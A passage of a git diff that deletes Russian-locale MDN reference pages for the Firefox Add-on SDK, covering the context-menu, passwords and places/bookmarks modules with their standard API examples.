var cm = require("sdk/context-menu");
-cm.Item({
-  label: "A Mozilla Image",
-  context: cm.SelectorContext("img"),
-  contentScript: 'self.on("context", function (node) {' +
-                 '  return /mozilla/.test(node.src);' +
-                 '});'
-});
-

However, if you do combine SelectorContext and the "context" event, be aware that the node argument passed to the "context" event will not always match the type specified in SelectorContext.

-

SelectorContext will match if the menu is invoked on the node specified or any descendant of that node, but the "context" event handler is passed the actual node on which the menu was invoked. The example above works because <IMG> elements can't contain other elements, but in the example below, node.nodeName is not guaranteed to be "P" - for example, it won't be "P" if the user context-clicked a link inside a paragraph:

-
var cm = require("sdk/context-menu");
-cm.Item({
-  label: "A Paragraph",
-  context: cm.SelectorContext("p"),
-  contentScript: 'self.on("context", function (node) {' +
-                 '  console.log(node.nodeName);' +
-                 '  return true;' +
-                 '});'
-});
-

The content script is executed for every page that a context menu is shown for. It will be executed the first time it is needed (i.e. when the context menu is first shown and all of the declarative contexts for your item are current) and then remains active until you destroy your context menu item or the page is unloaded.

-

Handling Menu Item Clicks

-

In addition to using content scripts to listen for the "context" event as described above, you can use content scripts to handle item clicks. When the user clicks your menu item, an event named "click" is emitted in the item's content script.

-

Therefore, to handle an item click, listen for the "click" event in that item's content script like so:

-
require("sdk/context-menu").Item({
-  label: "My Item",
-  contentScript: 'self.on("click", function (node, data) {' +
-                 '  console.log("Item clicked!");' +
-                 '});'
-});
-

Note that the listener function has parameters called node and data.

-

The "node" Argument

-

node is the node that the user context-clicked to invoke the menu.

- -

For example, suppose your add-on looks like this:

-
var script = "self.on('click', function (node, data) {" +
-             "  console.log('clicked: ' + node.nodeName);" +
-             "});";
-
-var cm = require("sdk/context-menu");
-
-cm.Item({
-  label: "body context",
-  context: cm.SelectorContext("body"),
-  contentScript: script
-});
-

This add-on creates a context-menu item that uses SelectorContext to display the item whenever the context menu is activated on any descendant of the <BODY> element. When clicked, the item just logs the nodeName property for the node passed to the click handler.

-

If you run this add-on you'll see that it always logs "BODY", even if you click on a paragraph element inside the page:

-
info: contextmenu-example: clicked: BODY
-

By contrast, this add-on uses the PageContext:

-
var script = "self.on('click', function (node, data) {" +
-             "  console.log('clicked: ' + node.nodeName);" +
-             "});";
-
-var cm = require("sdk/context-menu");
-
-cm.Item({
-  label: "body context",
-  context: cm.PageContext(),
-  contentScript: script
-});
-

It will log the name of the actual node clicked:

-
info: contextmenu-example: clicked: P
-

The "data" Argument

-

data is the data property of the menu item that was clicked. Note that when you have a hierarchy of menu items the click event will be sent to the content script of the item clicked and all ancestors so be sure to verify that the data value passed matches the item you expect. You can use this to simplify click handling by providing just a single click listener on a Menu that reacts to clicks for any child items.:

-
var cm = require("sdk/context-menu");
-cm.Menu({
-  label: "My Menu",
-  contentScript: 'self.on("click", function (node, data) {' +
-                 '  console.log("You clicked " + data);' +
-                 '});',
-  items: [
-    cm.Item({ label: "Item 1", data: "item1" }),
-    cm.Item({ label: "Item 2", data: "item2" }),
-    cm.Item({ label: "Item 3", data: "item3" })
-  ]
-});
-
-

Communicating With the Add-on

-

Often you will need to collect some kind of information in the click listener and perform an action unrelated to content. To communicate to the menu item associated with the content script, the content script can call the postMessage function attached to the global self object, passing it some JSON-able data. The menu item's "message" event listener will be called with that data.

-
var cm = require("sdk/context-menu");
-cm.Item({
-  label: "Edit Image",
-  context: cm.SelectorContext("img"),
-  contentScript: 'self.on("click", function (node, data) {' +
-                 '  self.postMessage(node.src);' +
-                 '});',
-  onMessage: function (imgSrc) {
-    openImageEditor(imgSrc);
-  }
-});
-

Updating a Menu Item's Label

-

Each menu item must be created with a label, but you can change its label later using a couple of methods.

-

The simplest method is to set the menu item's label property. This example updates the item's label based on the number of times it's been clicked:

-
var numClicks = 0;
-var myItem = require("sdk/context-menu").Item({
-  label: "Click Me: " + numClicks,
-  contentScript: 'self.on("click", self.postMessage);',
-  onMessage: function () {
-    numClicks++;
-    this.label = "Click Me: " + numClicks;
-    // Setting myItem.label is equivalent.
-  }
-});
-

Sometimes you might want to update the label based on the context. For instance, if your item performs a search with the user's selected text, it would be nice to display the text in the item to provide feedback to the user. In these cases you can use the second method. Recall that your content scripts can listen for the "context" event and if your listeners return true, the items associated with the content scripts are shown in the menu. In addition to returning true, your "context" listeners can also return strings. When a "context" listener returns a string, it becomes the item's new label.

-

This item implements the aforementioned search example:

-
var cm = require("sdk/context-menu");
-cm.Item({
-  label: "Search Google",
-  context: cm.SelectionContext(),
-  contentScript: 'self.on("context", function () {' +
-                 '  var text = window.getSelection().toString();' +
-                 '  if (text.length > 20)' +
-                 '    text = text.substr(0, 20) + "...";' +
-                 '  return "Search Google for " + text;' +
-                 '});'
-});
-

The "context" listener gets the window's current selection, truncating it if it's too long, and includes it in the returned string. When the item is shown, its label will be "Search Google for text", where text is the truncated selection.

-

Private Windows

-

If your add-on has not opted into private browsing, then any menus or menu items that you add will not appear in context menus belonging to private browser windows.

-

To learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module.

-

More Examples

-

For conciseness, these examples create their content scripts as strings and use the contentScript property. In your own add-on, you will probably want to create your content scripts in separate files and pass their URLs using the contentScriptFile property. See Working with Content Scripts for more information.

-
-

Unless your content script is extremely simple and consists only of a static string, don't use contentScript: if you do, you may have problems getting your add-on approved on AMO.

-

Instead, keep the script in a separate file and load it using contentScriptFile. This makes your code easier to maintain, secure, debug and review.

-
-

Show an "Edit Page Source" item when the user right-clicks a non-interactive part of the page:

-
require("sdk/context-menu").Item({
-  label: "Edit Page Source",
-  contentScript: 'self.on("click", function (node, data) {' +
-                 '  self.postMessage(document.URL);' +
-                 '});',
-  onMessage: function (pageURL) {
-    editSource(pageURL);
-  }
-});
-

Show an "Edit Image" item when the menu is invoked on an image:

-
var cm = require("sdk/context-menu");
-cm.Item({
-  label: "Edit Image",
-  context: cm.SelectorContext("img"),
-  contentScript: 'self.on("click", function (node, data) {' +
-                 '  self.postMessage(node.src);' +
-                 '});',
-  onMessage: function (imgSrc) {
-    openImageEditor(imgSrc);
-  }
-});
-

Show an "Edit Mozilla Image" item when the menu is invoked on an image in a mozilla.org or mozilla.com page:

-
var cm = require("sdk/context-menu");
-cm.Item({
-  label: "Edit Mozilla Image",
-  context: [
-    cm.URLContext(["*.mozilla.org", "*.mozilla.com"]),
-    cm.SelectorContext("img")
-  ],
-  contentScript: 'self.on("click", function (node, data) {' +
-                 '  self.postMessage(node.src);' +
-                 '});',
-  onMessage: function (imgSrc) {
-    openImageEditor(imgSrc);
-  }
-});
-

Show an "Edit Page Images" item when the page contains at least one image:

-
var cm = require("sdk/context-menu");
-cm.Item({
-  label: "Edit Page Images",
-  // This ensures the item only appears during the page context.
-  context: cm.PageContext(),
-  contentScript: 'self.on("context", function (node) {' +
-                 '  var pageHasImgs = !!document.querySelector("img");' +
-                 '  return pageHasImgs;' +
-                 '});' +
-                 'self.on("click", function (node, data) {' +
-                 '  var imgs = document.querySelectorAll("img");' +
-                 '  var imgSrcs = [];' +
-                 '  for (var i = 0 ; i < imgs.length; i++)' +
-                 '    imgSrcs.push(imgs[i].src);' +
-                 '  self.postMessage(imgSrcs);' +
-                 '});',
-  onMessage: function (imgSrcs) {
-    openImageEditor(imgSrcs);
-  }
-});
-

Show a "Search With" menu when the user right-clicks an anchor that searches Google or Wikipedia with the text contained in the anchor:

-
var cm = require("sdk/context-menu");
-var googleItem = cm.Item({
-  label: "Google",
-  data: "http://www.google.com/search?q="
-});
-var wikipediaItem = cm.Item({
-  label: "Wikipedia",
-  data: "http://en.wikipedia.org/wiki/Special:Search?search="
-});
-var searchMenu = cm.Menu({
-  label: "Search With",
-  context: cm.SelectorContext("a[href]"),
-  contentScript: 'self.on("click", function (node, data) {' +
-                 '  var searchURL = data + node.textContent;' +
-                 '  window.location.href = searchURL;' +
-                 '});',
-  items: [googleItem, wikipediaItem]
-});
-

Globals

-

Constructors

-

Item(options)

-

Creates a labeled menu item that can perform an action when clicked.

-
Parameters
-

options : object
- Required options:

- - - - - - - - - - - - - - - -
NameType 
labelstring -

The item's label. It must either be a string or an object that implements toString().

-
-

Optional options:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameType 
imagestring -

The item's icon, a string URL. The URL can be remote, a reference to an image in the add-on's data directory, or a data URI.

-
datastring -

An optional arbitrary value to associate with the item. It must be either a string or an object that implements toString(). It will be passed to click listeners.

-
contextvalue -

If the item is contained in the top-level context menu, this declaratively specifies the context under which the item will appear; see Specifying Contexts above.

-
contentScriptstring,array -

If the item is contained in the top-level context menu, this is the content script or an array of content scripts that the item can use to interact with the page.

-
contentScriptFilestring,array -

If the item is contained in the top-level context menu, this is the local file URL of the content script or an array of such URLs that the item can use to interact with the page.

-
onMessagefunction -

If the item is contained in the top-level context menu, this function will be called when the content script calls self.postMessage. It will be passed the data that was passed to postMessage.

-
- -

Creates a labeled menu item that expands into a submenu.

-
Parameters
-

options : object
- Required options:

- - - - - - - - - - - - - - - - - - - - -
NameType 
labelstring -

The item's label. It must either be a string or an object that implements toString().

-
itemsarray -

An array of menu items that the menu will contain. Each must be an Item, Menu, or Separator.

-
-

Optional options:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameType 
imagestring -

The menu's icon, a string URL. The URL can be remote, a reference to an image in the add-on's data directory, or a data URI.

-
contextvalue -

If the menu is contained in the top-level context menu, this declaratively specifies the context under which the menu will appear; see Specifying Contexts above.

-
contentScriptstring,array -

If the menu is contained in the top-level context menu, this is the content script or an array of content scripts that the menu can use to interact with the page.

-
contentScriptFilestring,array -

If the menu is contained in the top-level context menu, this is the local file URL of the content script or an array of such URLs that the menu can use to interact with the page.

-
onMessagefunction -

If the menu is contained in the top-level context menu, this function will be called when the content script calls self.postMessage. It will be passed the data that was passed to postMessage.

-
-

Separator()

-

Creates a menu separator.

-

PageContext()

-

Creates a page context. See Specifying Contexts above.

-

SelectionContext()

-

Creates a context that occurs when a page contains a selection. See Specifying Contexts above.

-

SelectorContext(selector)

-

Creates a context that matches a given CSS selector. See Specifying Contexts above.

-
Parameters
-

selector : string
- A CSS selector.

-

URLContext(matchPattern)

-

Creates a context that matches pages with particular URLs. See Specifying Contexts above.

-
Parameters
-

matchPattern : string,array
- A match pattern string, regexp or an array of match pattern strings or regexps.

-

PredicateContext(predicateFunction)

-
-

New in Firefox 29

-
-

Creates a context that occurs when predicateFunction returns a true value. See Specifying Contexts above.

-
Parameters
-

predicateFunction : function(context)
- A function which will be called with an object argument that provide information about the invocation context. context object properties:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyDescription
documentTypeThe MIME type of the document the menu was invoked in. E.g. text/html for HTML pages, application/xhtml+xml for XHTML, or image/jpeg if viewing an image directly.
documentURLThe URL of the document the menu was invoked in.
targetNameThe name of the DOM element that the menu was invoked on, in lower-case.
targetIDThe id attribute of the element that the menu was invoked on, or null if not set.
isEditabletrue if the menu was invoked in an editable element, and that element isn't disabled or read-only.  This includes non-input elements with the contenteditable attribute set to true.
selectionTextThe current selection as a text string, or null. If the menu was invoked in an input text box or area, this is the selection of that element, otherwise the selection in the contents of the window.
srcURLThe src URL of the element that the menu was invoked on, or null if it doesn't have one.
linkURLThe href URL of the element that the menu was invoked on, or null if it doesn't have one.
valueThe current contents of a input text box or area if the menu was invoked in one, null otherwise.
-

Item

-

A labeled menu item that can perform an action when clicked.

-

Methods

-

destroy()

-

Permanently removes the item from its parent menu and frees its resources. The item must not be used afterward. If you need to remove the item from its parent menu but use it afterward, call removeItem() on the parent menu instead.

-

Properties

-

label

-

The menu item's label. You can set this after creating the item to update its label later.

-

image

-

The item's icon, a string URL. The URL can be remote, a reference to an image in the add-on's data directory, or a data URI. You can set this after creating the item to update its image later. To remove the item's image, set it to null.

-

data

-

An optional arbitrary value to associate with the item. It must be either a string or an object that implements toString(). It will be passed to click listeners. You can set this after creating the item to update its data later.

-

context

-

A list of declarative contexts for which the menu item will appear in the context menu. Contexts can be added by calling context.add() and removed by called context.remove().

-

parentMenu

-

The item's parent Menu, or null if the item is contained in the top-level context menu. This property is read-only. To add the item to a new menu, call that menu's addItem() method.

-

contentScript

-

The content script or the array of content scripts associated with the menu item during creation.

-

contentScriptFile

-

The URL of a content script or the array of such URLs associated with the menu item during creation.

-

Events

-

message

-

If you listen to this event you can receive message events from content scripts associated with this menu item. When a content script posts a message using self.postMessage(), the message is delivered to the add-on code in the menu item's message event.

-
Arguments
-

value : Listeners are passed a single argument which is the message posted from the content script. The message can be any JSON-serializable value.

- -

A labeled menu item that expands into a submenu.

-

Methods

-

addItem(item)

-

Appends a menu item to the end of the menu. If the item is already contained in another menu or in the top-level context menu, it's automatically removed first. If the item is already contained in this menu it will just be moved to the end of the menu.

-
Parameters
-

item : Item,Menu,Separator
- The Item, Menu, or Separator to add to the menu.

-

removeItem(item)

-

Removes the given menu item from the menu. If the menu does not contain the item, this method does nothing.

-
Parameters
-

item : Item,Menu,Separator
- The menu item to remove from the menu.

-

destroy()

-

Permanently removes the menu from its parent menu and frees its resources. The menu must not be used afterward. If you need to remove the menu from its parent menu but use it afterward, call removeItem() on the parent menu instead.

-

Properties

-

label

-

The menu's label. You can set this after creating the menu to update its label later.

-

items

-

An array containing the items in the menu. The array is read-only, meaning that modifications to it will not affect the menu. However, setting this property to a new array will replace all the items currently in the menu with the items in the new array.

-

image

-

The menu's icon, a string URL. The URL can be remote, a reference to an image in the add-on's data directory, or a data URI. You can set this after creating the menu to update its image later. To remove the menu's image, set it to null.

-

context

-

A list of declarative contexts for which the menu will appear in the context menu. Contexts can be added by calling context.add() and removed by called context.remove().

-

parentMenu

-

The menu's parent Menu, or null if the menu is contained in the top-level context menu. This property is read-only. To add the menu to a new menu, call that menu's addItem() method.

-

contentScript

-

The content script or the array of content scripts associated with the menu during creation.

-

contentScriptFile

-

The URL of a content script or the array of such URLs associated with the menu during creation.

-

Events

-

message

-

If you listen to this event you can receive message events from content scripts associated with this menu item. When a content script posts a message using self.postMessage(), the message is delivered to the add-on code in the menu item's message event.

-
Arguments
-

value : Listeners are passed a single argument which is the message posted from the content script. The message can be any JSON-serializable value.

-

Separator

-

A menu separator. Separators can be contained only in Menus, not in the top-level context menu.

-

Methods

-

destroy()

-

Permanently removes the separator from its parent menu and frees its resources. The separator must not be used afterward. If you need to remove the separator from its parent menu but use it afterward, call removeItem() on the parent menu instead.

-

Properties

-

parentMenu

-

The separator's parent Menu. This property is read-only. To add the separator to a new menu, call that menu's addItem() method.

diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/index.html deleted file mode 100644 index 32b39d045b..0000000000 --- a/files/ru/mozilla/add-ons/sdk/high-level_apis/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: High-Level APIs -slug: Mozilla/Add-ons/SDK/High-Level_APIs -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs ---- -

Modules listed on this page implement high-level APIs for building add-ons: creating user interfaces, interacting with the web, and interacting with the browser.

-

Unless the documentation explicitly says otherwise, all these modules are "Stable": we'll avoid making incompatible changes to them. {{ LandingPageListSubpages ("/en-US/Add-ons/SDK/High-Level_APIs", 5) }}

diff --git a/files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html b/files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html deleted file mode 100644 index 535385e895..0000000000 --- a/files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html +++ /dev/null @@ -1,525 +0,0 @@ ---- -title: passwords -slug: Mozilla/Add-ons/SDK/High-Level_APIs/passwords -translation_of: Archive/Add-ons/Add-on_SDK/High-Level_APIs/passwords ---- -
-

Stable

-
-

Interact with Firefox's Password Manager to add, retrieve and remove stored credentials.

-

Usage

-

A credential is the set of information a user supplies to authenticate herself with a service. Typically a credential consists of a username and a password.

-

Using this module you can:

-
    -
  1. -

    Search for credentials which have been stored in the Password Manager. You can then use the credentials to access their related service (for example, by logging into a web site).

    -
  2. -
  3. -

    Store credentials in the Password Manager. You can store different sorts of credentials, as outlined in the "Credentials" section below.

    -
  4. -
  5. -

    Remove stored credentials from the Password Manager.

    -
  6. -
-

Credentials

-

In this API, credentials are represented by objects.

-

You create credential objects to pass into the API, and the API also returns credential objects to you. The sections below explain both the properties you should define on credential objects and the properties you can expect on credential objects returned by the API.

-

All credential objects include username and password properties. Different sorts of stored credentials include various additional properties, as outlined in this section.

-

You can use the Passwords API with three sorts of credentials:

- -

Add-on Credential

-

These are associated with your add-on rather than a particular web site. They contain the following properties:

- - - - - - - - - - - - - - - - - - - - - - -
usernameThe username.
passwordThe password.
url -

For an add-on credential, this property is of the form:
- addon:<addon-id>, where <addon-id> is the add-on's Program ID.

-

You don't supply this value when storing an add-on credential: it is automatically generated for you. However, you can use it to work out which stored credentials belong to your add-on by comparing it with the uri property of the self module.

-
realm -

You can use this as a name for the credential, to distinguish it from any other credentials you've stored.

-

The realm is displayed in Firefox's Password Manager, under "Site", in brackets after the URL. For example, if the realm for a credential is "User Registration", then its "Site" field will look something like:

- addon:jid0-01mBBFyu0ZAXCFuB1JYKooSTKIc (User Registration)
-

HTML Form Credential

-

If a web service uses HTML forms to authenticate its users, then the corresponding credential is an HTML Form credential.

-

It contains the following properties:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
usernameThe username.
passwordThe password.
urlThe URL for the web service which requires the credential. You should omit anything after the hostname and (optional) port.
formSubmitURLThe value of the form's "action" attribute. You should omit anything after the hostname and (optional) port. If the form doesn't contain an "action" attribute, this property should match the url property.
usernameFieldThe value of the "name" attribute for the form's username field.
passwordFieldThe value of the "name" attribute for the form's password field.
-

So: given a form at http://www.example.com/login with the following HTML:

-
<form action="http://login.example.com/foo/authenticate.cgi">
-      <div>Please log in.</div>
-      <label>Username:</label> <input type="text" name="uname">
-      <label>Password:</label> <input type="password" name="pword">
-</form>
-

The corresponding values for the credential (excluding username and password) should be:

-
  url: "http://www.example.com"
-  formSubmitURL: "http://login.example.com"
-  usernameField: "uname"
-  passwordField: "pword"
-
-

Note that for both url and formSubmitURL, the portion of the URL after the hostname is omitted.

-

HTTP Authentication Credential

-

These are used to authenticate the user to a web site which uses HTTP Authentication, as detailed in RFC 2617. They contain the following properties:

- - - - - - - - - - - - - - - - - - - - - - -
usernameThe username.
passwordThe password.
urlThe URL for the web service which requires the credential. You should omit anything after the hostname and (optional) port.
realm -

The WWW-Authenticate response header sent by the server may include a "realm" field as detailed in RFC 2617. If it does, this property contains the value for the "realm" field. Otherwise, it is omitted.

-

The realm is displayed in Firefox's Password Manager, under "Site", in brackets after the URL.

-
-

So: if a web server at http://www.example.com requested authentication with a response code like this:

-
  HTTP/1.0 401 Authorization Required
-  Server: Apache/1.3.27
-  WWW-Authenticate: Basic realm="ExampleCo Login"
-
-

The corresponding values for the credential (excluding username and password) should be:

-
  url: "http://www.example.com"
-  realm: "ExampleCo Login"
-
-

onComplete and onError

-

This API is explicitly asynchronous, so all its functions take two callback functions as additional options: onComplete and onError.

-

onComplete is called when the operation has completed successfully and onError is called when the function encounters an error.

-

Because the search function is expected to return a list of matching credentials, its onComplete option is mandatory. Because the other functions don't return a value in case of success their onComplete options are optional.

-

For all functions, onError is optional.

-

Globals

-

Functions

-

search(options)

-

This function is used to retrieve a credential, or a list of credentials, stored in the Password Manager.

-

You pass it any subset of the possible properties a credential can contain. Credentials which match all the properties you supplied are returned as an argument to the onComplete callback.

-

So if you pass in an empty set of properties, all stored credentials are returned:

-
function show_all_passwords() {
-  require("sdk/passwords").search({
-    onComplete: function onComplete(credentials) {
-      credentials.forEach(function(credential) {
-        console.log(credential.username);
-        console.log(credential.password);
-        });
-      }
-    });
-  }
-

If you pass it a single property, only credentials matching that property are returned:

-
function show_passwords_for_joe() {
-  require("sdk/passwords").search({
-    username: "joe",
-    onComplete: function onComplete(credentials) {
-      credentials.forEach(function(credential) {
-        console.log(credential.username);
-        console.log(credential.password);
-        });
-      }
-    });
-  }
-

If you pass more than one property, returned credentials must match all of them:

-
function show_google_password_for_joe() {
-  require("sdk/passwords").search({
-    username: "joe",
-    url: "https://www.google.com",
-    onComplete: function onComplete(credentials) {
-      credentials.forEach(function(credential) {
-        console.log(credential.username);
-        console.log(credential.password);
-        });
-      }
-    });
-  }
-

To retrieve only credentials associated with your add-on, use the url property, initialized from self.uri:

-
function show_my_addon_passwords() {
-  require("sdk/passwords").search({
-    url: require("sdk/self").uri,
-    onComplete: function onComplete(credentials) {
-      credentials.forEach(function(credential) {
-        console.log(credential.username);
-        console.log(credential.password);
-        });
-      }
-    });
-  }
-
Parameters
-

options : object
- Required options:

- - - - - - - - - - - - - - - -
NameType 
onCompletefunction -

The callback function that is called once the function completes successfully. It is passed all the matching credentials as a list. This is the only mandatory option.

-
-

Optional options:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameType 
usernamestring -

The username for the credential.

-
passwordstring -

The password for the credential.

-
urlstring -

The URL associated with the credential.

-
formSubmitURLstring -

The URL an HTML form credential is submitted to.

-
realmstring -

For HTTP Authentication credentials, the realm for which the credential was requested. For add-on credentials, a name for the credential.

-
usernameFieldstring -

The value of the name attribute for the user name input field in a form.

-
passwordFieldstring -

The value of the name attribute for the password input field in a form.

-
onErrorfunction -

The callback function that is called if the function failed. The callback is passed an error containing a reason of a failure: this is an nsIException object.

-
-

store(options)

-

This function is used to store a credential in the Password Manager.

-

It takes an options object as an argument: this contains all the properties for the new credential.

-

As different sorts of credentials contain different properties, the appropriate options differ depending on the sort of credential being stored.

-

To store an add-on credential:

-
require("sdk/passwords").store({
-  realm: "User Registration",
-  username: "joe",
-  password: "SeCrEt123",
-});
-

To store an HTML form credential:

-
require("sdk/passwords").store({
-  url: "http://www.example.com",
-  formSubmitURL: "http://login.example.com",
-  username: "joe",
-  usernameField: "uname",
-  password: "SeCrEt123",
-  passwordField: "pword"
-});
-

To store an HTTP Authentication credential:

-
require("sdk/passwords").store({
-  url: "http://www.example.com",
-  realm: "ExampleCo Login",
-  username: "joe",
-  password: "SeCrEt123",
-});
-

See "Credentials" above for more details on how to set these properties.

-

The options parameter may also include onComplete and onError callback functions, which are called when the function has completed successfully and when it encounters an error, respectively. These options are both optional.

-
Parameters
-

options : object
- Required options:

- - - - - - - - - - - - - - - - - - - - -
NameType 
usernamestring -

The username for the credential.

-
passwordstring -

The password for the credential.

-
-

Optional options:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameType 
urlstring -

The URL to which the credential applies. Omitted for add-on credentials.

-
formSubmitURLstring -

The URL a form-based credential was submitted to. Omitted for add-on credentials and HTTP Authentication credentials.

-
realmstring -

For HTTP Authentication credentials, the realm for which the credential was requested. For add-on credentials, a name for the credential.

-
usernameFieldstring -

The value of the name attribute for the username input in a form. Omitted for add-on credentials and HTTP Authentication credentials.

-
passwordFieldstring -

The value of the name attribute for the password input in a form. Omitted for add-on credentials and HTTP Authentication credentials.

-
onCompletefunction -

The callback function that is called once the function completes successfully.

-
onErrorfunction -

The callback function that is called if the function failed. The callback is passed an error argument: this is an nsIException object.

-
-

remove(options)

-

Removes a stored credential. You supply it all the properties of the credential to remove, along with optional onComplete and onError callbacks.

-

Because you must supply all the credential's properties, it may be convenient to call search first, and use its output as the input to remove. For example, to remove all of joe's stored credentials:

-
require("sdk/passwords").search({
-  username: "joe",
-  onComplete: function onComplete(credentials) {
-    credentials.forEach(require("sdk/passwords").remove);
-  })
-});
-

To change an existing credential just call store after remove succeeds:

-
require("sdk/passwords").remove({
-  realm: "User Registration",
-  username: "joe",
-  password: "SeCrEt123"
-  onComplete: function onComplete() {
-    require("sdk/passwords").store({
-      realm: "User Registration",
-      username: "joe",
-      password: "{new password}"
-    })
-  }
-});
-
Parameters
-

options : object
- Required options:

- - - - - - - - - - - - - - - - - - - - -
NameType 
usernamestring -

The username for the credential.

-
passwordstring -

The password for the credential.

-
-

Optional options:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NameType 
urlstring -

The URL to which the credential applies. Omitted for add-on credentials.

-
formSubmitURLstring -

The URL a form-based credential was submitted to. Omitted for add-on credentials and HTTP Authentication credentials.

-
realmstring -

For HTTP Authentication credentials, the realm for which the credential was requested. For add-on credentials, a name for the credential.

-
usernameFieldstring -

The value of the name attribute for the username input in a form. Omitted for add-on credentials and HTTP Authentication credentials.

-
passwordFieldstring -

The value of the name attribute for the password input in a form. Omitted for add-on credentials and HTTP Authentication credentials.

-
onCompletefunction -

The callback function that is called once the function has completed successfully.

-
onErrorfunction -

The callback function that is called if the function failed. The callback is passed an error argument: this is an nsIException object.

-
-

 

diff --git a/files/ru/mozilla/add-ons/sdk/index.html b/files/ru/mozilla/add-ons/sdk/index.html deleted file mode 100644 index 6c8217da66..0000000000 --- a/files/ru/mozilla/add-ons/sdk/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Add-on SDK -slug: Mozilla/Add-ons/SDK -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Add-on_SDK ---- -

C помощью  SDK вы можете создавать дополнения для Firefox , используя стандартные веб-технологии: JavaScript, HTML, CSS. SDK включает в себя API-интерфейсы JavaScript, которые можно использовать для создания дополнений и инструменты для создания, запуска, тестирования и упаковки дополнений.

- -
-

Учебники

- - - -
-

Инструкции

- -
-
-
-
Руководство для разработчика НРП
-
Learn how to start contributing to the SDK, and about the most important idioms used in the SDK code, such as modules, classes and inheritance, private properties, and content processes.
-
НРП инфраструктура
-
Aspects of the SDK's underlying technology: modules, the Program ID, and the rules defining Firefox compatibility.
-
Скрипты содержимого
-
A detailed guide to working with content scripts.
-
-
- - -
- -
-

Справочник

- -
-
-
-
Высокоуровневый ИПП
-
Справочная документация для высокоуровневого ИПП в НРП.
-
Справочник программ
-
Справочная документация для cfx программы используемая для разработки, тестирования, и упаковывания расширений, глобальная console используемая для протоколирования, и файл package.json.
-
-
- -
-
-
Низкоуровневый ИПП
-
Справочная документация для низкоуровневого ИПП в НРП.
-
-
-
- -

 

- - diff --git a/files/ru/mozilla/add-ons/sdk/low-level_apis/index.html b/files/ru/mozilla/add-ons/sdk/low-level_apis/index.html deleted file mode 100644 index 8cd08458f0..0000000000 --- a/files/ru/mozilla/add-ons/sdk/low-level_apis/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Low-Level APIs -slug: Mozilla/Add-ons/SDK/Low-Level_APIs -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Add-ons/Add-on_SDK/Low-Level_APIs ---- -

Modules in this section implement low-level APIs. These modules fall roughly into three categories:

- -

These modules are still in active development, and we expect to make incompatible changes to them in future releases.

-

{{ LandingPageListSubpages ("/en-US/Add-ons/SDK/Low-Level_APIs", 5) }}

-

 

diff --git a/files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html b/files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html deleted file mode 100644 index 299e234fb2..0000000000 --- a/files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html +++ /dev/null @@ -1,595 +0,0 @@ ---- -title: places/bookmarks -slug: Mozilla/Add-ons/SDK/Low-Level_APIs/places_bookmarks -translation_of: Archive/Add-ons/Add-on_SDK/Low-Level_APIs/places_bookmarks ---- -
-

Unstable

-
- -

Создание, изменение и удаление закладок.

- -

Usage

- -

Этот модуль экспортирует:

- - - -

save() и search() асинхронные функции: they synchronously return a PlacesEmitter object, which then asynchronously emits events as the operation progresses and completes.

- -

Each retrieved bookmark item represents only a snapshot of state at a specific time. The module does not automatically sync up a Bookmark instance with ongoing changes to that item in the database from the same add-on, other add-ons, or the user.

- -

Примеры

- -

Создание новой закладки

- -
let { Bookmark, save } = require("sdk/places/bookmarks");
-
-// Create a new bookmark instance, unsaved
-let bookmark = Bookmark({ title: "Mozilla", url: "http://mozilla.org" });
-
-// Attempt to save the bookmark instance to the Bookmarks database
-// and store the emitter
-let emitter = save(bookmark);
-
-// Listen for events
-emitter.on("data", function (saved, inputItem) {
-  // on a "data" event, an item has been updated, passing in the
-  // latest snapshot from the server as `saved` (with properties
-  // such as `updated` and `id`), as well as the initial input
-  // item as `inputItem`
-  console.log(saved.title === inputItem.title); // true
-  console.log(saved !== inputItem); // true
-  console.log(inputItem === bookmark); // true
-}).on("end", function (savedItems, inputItems) {
-  // Similar to "data" events, except "end" is an aggregate of
-  // all progress events, with ordered arrays as `savedItems`
-  // and `inputItems`
-});
- -

Создание нескольких закладок в группе

- -
let { Bookmark, Group, save } = require("sdk/places/bookmarks");
-
-let group = Group({ title: "Guitars" });
-let bookmarks = [
-  Bookmark({ title: "Ran", url: "http://ranguitars.com", group: group }),
-  Bookmark({ title: "Ibanez", url: "http://ibanez.com", group: group }),
-  Bookmark({ title: "ESP", url: "http://espguitars.com", group: group })
-];
-
-// Save `bookmarks` array -- notice we don't have `group` in the array,
-// although it needs to be saved since all bookmarks are children
-// of `group`. This will be saved implicitly.
-
-save(bookmarks).on("data", function (saved, input) {
-  // A data event is called once for each item saved, as well
-  // as implicit items, like `group`
-  console.log(input === group || ~bookmarks.indexOf(input)); // true
-}).on("end", function (saves, inputs) {
-  // like the previous example, the "end" event returns an
-  // array of all of our updated saves. Only explicitly saved
-  // items are returned in this array -- the `group` won't be
-  // present here.
-  console.log(saves[0].title); // "Ran"
-  console.log(saves[2].group.title); // "Guitars"
-});
- -

Поиск закладок

- -

Bookmarks can be queried with the search() function, which accepts a query object or an array of query objects, as well as a query options object. Query properties are AND'd together within a single query object, but are OR'd together across multiple query objects.

- -
